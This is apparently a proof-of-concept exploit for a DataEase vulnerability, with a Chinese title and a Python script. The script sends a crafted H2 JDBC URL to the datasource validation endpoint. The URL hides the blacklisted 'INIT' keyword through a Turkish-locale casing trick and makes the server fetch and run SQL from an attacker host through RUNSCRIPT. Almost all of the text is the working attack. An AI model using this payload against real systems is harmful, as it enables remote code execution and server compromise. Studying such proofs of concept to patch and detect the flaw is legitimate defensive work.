CVE-2026-32939 DataEase Locale处理漏洞

# PoC for CVE-2026-32939: DataEase Locale Handling Bypass # This script demonstrates bypassing the blacklist check using Turkish Locale behavior. # The lowercase 'i' becomes 'İ' in Turkish, bypassing the 'INIT' check in DataEase, # but H2 engine interprets it as 'INIT'. import requests target_url = "http://target-dataease-instance/api/datasource/validate" # Malicious JDBC URL payload # Note: 'iNIT' bypasses the DataEase filter (tr_TR -> İNIT != INIT) # H2 Engine (en_US -> iNIT -> INIT) executes it. payload = { "jdbcUrl": "jdbc:h2:mem:testdb;iNIT=RUNSCRIPT FROM 'http://attacker-server/exploit.sql'", "host": "localhost", "port": "8080", "dbName": "testdb" } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully. Check if the script was executed by H2.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")